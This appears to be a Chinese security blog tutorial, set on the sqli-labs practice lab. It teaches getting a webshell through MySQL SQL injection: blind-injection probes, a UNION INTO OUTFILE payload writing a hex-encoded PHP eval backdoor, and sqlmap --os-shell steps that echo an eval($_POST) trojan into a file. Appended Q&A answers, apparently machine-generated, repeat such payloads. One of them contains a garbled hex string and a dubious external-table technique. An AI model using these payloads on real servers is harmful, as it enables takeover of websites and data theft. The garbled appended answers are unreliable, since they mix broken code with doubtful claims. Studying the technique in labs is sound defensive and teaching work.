【网络安全】SQL注入新思维之webshell提权

前言

大量的hr面试官都喜欢从SQL注入开始询问,所以留心了一下关于SQL注入的问题的频率。结果非常惊讶!不出意外的是–os-shell名列榜首。

比如这道题:SQL注入getshell的方式?

答:getshell是指攻击者通过利用SQL注入获取系统权限的方法,Webshell提权分两种:一是利用outfile函数,另外一种是利用**–os-shell**;UDF提权通过堆叠注入实现;MOF提权通过"条件竞争"实现

小提示:有sql注入试着––is–dba,如果有有绝对路径就––os–shell,不行扫后台,尝试用管理员账户密码登录

Webshell提权

一、 into outfile

into outfile利用的先决条件:

web目录具有写权限,能够使用单引号
知道网站绝对路径(根目录,或则是根目录往下的目录都行)
secure_file_priv没有具体值(在mysql/my.ini中查看

secure_file_priv:secure_file_priv是用来限制load 、dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。

关于secure_file_priv的配置介绍:

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

所以如果我们要想使用into outfile函数写入一句话就需要将secure_file_priv 的值设为没有值,那如何设置呢?

答:(1)看secure-file-priv参数的值:show global variables like ‘%secure%’;若secure_file_priv 的值默认为NULL,则表示限制mysqld 不允许导入|导出

(2)修改secure_file_priv 的值:我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ’ ’ 即可;此时再查看secure_file_priv的值如下已经变为空了,设置完成后我们就可以利用这个函数来写入一句话木马

写入webshell(以sqli-labs第七关为例)

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥信息收集80条搜索语法
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

  1. 注入点判断
    在这里插入图片描述

因为我们发现输入正确/错误的语法显示说语法正确/错误,即页面只存在两种状态,判断为盲注。我们输入如下代码时,所以我们通过输入如下代码可以,通过回显获得情报!

?id=1’)) – -
我们继续测试
?id=3’)) and sleep(5) --+

在这里插入图片描述

我们发现成功延时,所以注入点就为1’)),我们输入的字符被包含在单引号中,且单引号外有两个双引号包裹;最终根据显示出"你在…使用outfile…"这个提示;我们就找到了他要是使用SQL注入"一句话木马"达到getshll的目的

  1. 判断列数

在这里插入图片描述

补充:我们使用order by 语句判断列数,order by 3时,正常显示,4时不正常,判断为3列

  1. 写入webshell

在这里插入图片描述

  • 加如此前我们已经通过一些方法获取到了网站的根目录,则可以写入一句话:<?php eval($_REQUEST[123]);?> ;建议进行十六进制转码(不用编码也可以)编码后在最前面加上0X;最后我们将一句话木马进行十六进制编码后写入了根目录下的outfile.php文件中

**

*   `?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\xxxxxx\phpStudy\WWW\outfile.php' --+`

补充:这里网站的目录要使用双斜杠不然会写不进去,第一个斜杠是转义的意思,字符串解析不仅仅局限于C编译器,Java编译器、一些配置文件的解析、Web服务器等等,都会遇到对字符串进行解析的这个问题,由于传统的 Windows采用的是单个斜杠的路径分隔形式,导致在对文件路径进行解析的时候可能发生不必要的错误,所以就出现了用双反斜杠"“分隔路径的形式;不管解析引擎是否将反斜杠解析成转义字符,最终在内存中得到的都是”"的形式,结果也就不会出问题了

  1. 连接webshell

补充:如果我们将 secure_file_priv的值为设置为null,我们在进行上面的写入操作发现并没有写进去原因如下:所以没有写进去的情况有两种:1.网站的路径不对,或者没有使用双斜杠进行转义;2.secure_file_priv的值不是为空

二、-os-shell原理

–os-shell 大致原理是将脚本插入到数据库(也可以是日志)中,然后生成相应的代码文件,获取shell即可执行命令;–os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件

利用条件

要求为DBA数据库管理员权限(–is-dba:phpstudy搭建的一般为DBA)
php主动转义的功能关闭(PHP的GPC关闭),能使用单双引号(需要单引号路径,不能使用0x编码)
知道网站的绝对路径;文件不能覆盖写入,所以文件必须为不存在

–secure-file-priv没有值(该函数是能否执行-0s-shell的关键):–secure-file-priv是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录

  • secure_file_priv 为 NULL 时,说明限制mysqld不允许导入或导出
  • secure_file_priv 为 /tmp 时,说明限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行
  • secure_file_priv 没有值时,说明不限制mysqld在任意目录的导入导出

补充:secure_file_priv 参数是只读参数,不能使用set global命令修改,需要在my.cnf 或 my.ini,加入secure_file_priv=''后重启Mysql

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的)
tmpbeewq.php 用来执行系统命令
tmpuqvgw.php 用来上传文件
secure_file_priv没有具体值(在mysql/my.ini中查看)
magic_quotes_gpc:(PHP magic_quotes_gpc作用范围是:WEB客户服务端;作用时间:请求开始时)

使用Sqlmap实现步骤

1.弱口令登录
2.抓包
3.复制抓包的内容,保存为Alogin.txt(txt文件)到sqlmap目录下
4.启动sqlmap:sqlmap -r OAlogin.txt --os-shell
5.选择语言(ASP,ASPX,JSP,PHP)
6.输入绝对路径
7.写木马文件

**

  7.1:pwd //查看当前路径
  7.2:echo '<?php @eval($_POST['a']); ?>'>> 123.php  //将木马写入123.php
  7.3:cat 123.php //打印123.php文件的内容

8.用webshell连接

路径(dns外带查询)问题

产生路径问题的原因是什么?

答:对于大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因绝不是因为outfile相对路径无法写shell,而是因为不知道路径,webshell无法连接且通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写

dnslog注入:即,dns带外查询是属于Mysql注入的一种方法,可以通过查询相应的dns解析记录,来获取我们想要的数据
在这里插入图片描述

为什么需要它的帮忙?

答:一般情况下,在我们无法通过联合查询直接获取数据的情况下,我们只能通过盲注,来一步步的获取数据,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度。

LOAD_FILE()函数:LOAD_FILE()函数读取一个文件并将其内容作为字符串返回

语法为:load_file(file_name),其中file_name是文件的完整路径

该函数需要满足的条件(如下所示):

1.文件必须位于服务器主机上

2.你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关

3.文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节


\

  • 2
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: SQL注入是一种攻击技术,可以利用应用程序中存在的漏洞,将恶意的SQL代码注入到应用程序中,从而获取应用程序的控制权。如果攻击者成功地注入了SQL代码,他们可以执行任意操作,包括写入WebshellWebshell是一种恶意代码,可以在受攻击的服务器上创建一个远程访问接口,允许攻击者执行任意命令。攻击者可以使用Webshell来窃取敏感数据、破坏系统、或者在服务器上安装其他恶意软件。 要利用SQL注入写入Webshell,攻击者需要找到一个易受攻击的应用程序,并利用应用程序中存在的漏洞注入恶意的SQL代码。一旦注入成功,攻击者可以使用SQL语句来创建一个Webshell文件,并将其写入服务器上的某个目录中。然后,攻击者可以使用Webshell来执行任意命令,包括上传和下载文件、执行系统命令、或者修改文件权限等操作。 为了防止SQL注入攻击,应用程序开发人员应该采取一系列措施,包括使用参数化查询、过滤用户输入、限制数据库用户的权限等。此外,管理员还应该定期检查服务器上的文件和目录,以确保没有Webshell存在。 ### 回答2: 什么是SQL注入SQL注入是一种攻击方式,用于通过对应用程序中的输入进行恶意注入,从而访问或与应用程序中的数据库进行交互。SQL注入通常利用应用程序的输入验证不严格,以及对数据库中的数据进行不安全的查询和处理,从而访问和操纵数据库。 什么是webshellWebshell是一种特殊的程序代码,可以通过Web接口进行访问和控制,可以给攻击者带来权限最高的系统操作权限。 如何通过SQL注入写入webshell? 攻击者通过SQL注入可以执行许多操作,包括获取或修改数据库中的数据,但更加危险的是可以通过写入webshell来获得对目标系统的完全控制。下面是一些通用的示例,介绍如何通过SQL注入外部攻击者写入webshell。 1. 通过UNICODE编码的方式写入webshell 攻击者可以通过在URL字符串中使用UNICODE编码来伪装恶意SQL注入代码,以此来避开Web应用程序的过滤器和安全防护措施。例如,攻击者可以使用以下语句,将webshell写入到一个包含BLOB类型的表中: ' UNION SELECT NULL, CAST(0x3C3F706870206576616C28245F5053545B312D31293B206966202869736572727065723F246F75745B315D290A7B2473797374656D3D2170737465725F6765745F636F6E74656E74735F75726C28293B2024746578743D2473797374656D5B31293B2073656E64286F62636F645B2272657175657374225D2E6"9"6"5"76616C285F504F53545B225F716"5"56"1"225D293B290A3F3E0A0A, NULL-- 此代码将webshell写入到一个表中,并通过使用PHP代码,能使其在服务器上运行。 2. 在注入点创建一个新表,并将webshell写入其中 攻击者可以通过多个SQL注入绕过过滤和检测,创建一个新的表并将webshell写入其中。例如,下面的代码可以被绕过,从而创建一个新的表: ' UNION SELECT NULL, 'CREATE TABLE webshell (id INT, shell text); INSERT INTO webshell(id, shell) VALUES (1,<?php eval($_POST[0]); ?>);' INTO OUTFILE '/var/www/html/new.txt'-- 此代码创建了一个新表“webshell”,其中包含列“id”和“shell”,并将webshell写入到以BLOB类型存储的“shell”列中。 3. 在目标服务器上创建一个外部表,并将webshell写入其中 攻击者还可以通过创建一个外部表,在连接到目标服务器时抓取webshell。例如,攻击者可以构建以下SQL语句以在目标服务器上创建名为“webshell”的外部表: CREATE TABLE webshell (id INT, shell text); INSERT INTO webshell(id, shell) VALUES (1, '<?php eval($_POST[0]); ?>'); 然后,攻击者可以请求一个可以对此表进行操作的URL: ' UNION SELECT NULL,'/var/www/html/?id=(SELECT GROUP_CONCAT(CONCAT(id,0x2C,shell),0x0A) FROM mysql.external_table WHERE table_name="webshell")' INTO OUTFILE '/var/www/html/output.txt'-- 该URL将在服务器上抓取webshell,并将其输出到/var/www/html/output.txt。攻击者现在可以从该位置获取完整的webshell,以便执行任意系统命令。 总结 SQL注入是一种令人不安的攻击方式,可以使黑客绕过应用程序的安全控制,从而访问和操纵系统中的数据。写入webshellSQL注入的最危险的结果之一,它允许黑客完全控制目标系统和数据。要保护Web应用程序免受SQL注入和其他攻击的威胁,建议采取一系列安全措施,包括在应用程序代码中实施更强大的输入验证和防御措施,利用Web应用程序防火墙和安全扫描器,以及升级和更新应用程序及其相关软件以减少漏洞和缺陷的风险。 ### 回答3: SQL注入是一种攻击技术,攻击者利用这种技术可以将恶意负载注入到应用程序的数据库中,包括写入webshell,从而获取系统控制权和敏感数据。SQL注入攻击是因为应用程序没有正确的验证用户输入数据而造成的。 SQL注入攻击者通过在应用程序的输入字段中输入特殊字符或语句,从而执行恶意SQL语句来覆盖或篡改应用程序的数据库。攻击者可以利用这个漏洞来写入webshell,从而获取远程访问到受害者的系统。 webshell是一种恶意软件,攻击者可以在受害者的主机上进行远程控制。攻击者可以利用webshell来窃取敏感信息、执行命令、上传或下载文件等操作。 攻击者通常会在注入恶意负载后,通过脚本或工具上传或执行webshell。一旦攻击者成功地写入webshell,他就可以通过浏览器或其他工具来远程控制受害者的系统。 为了防止SQL注入攻击,应用程序必须实施有效的数据验证和过滤,从而限制用户输入的字符和语句。此外,安装和更新防病毒和防火墙软件也是非常重要的。其他防御措施还包括使用安全套接字层(SSL)来加密数据传输,使用预编译语句来包含应用程序的数据查询,以及限制数据库用户的访问权限。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值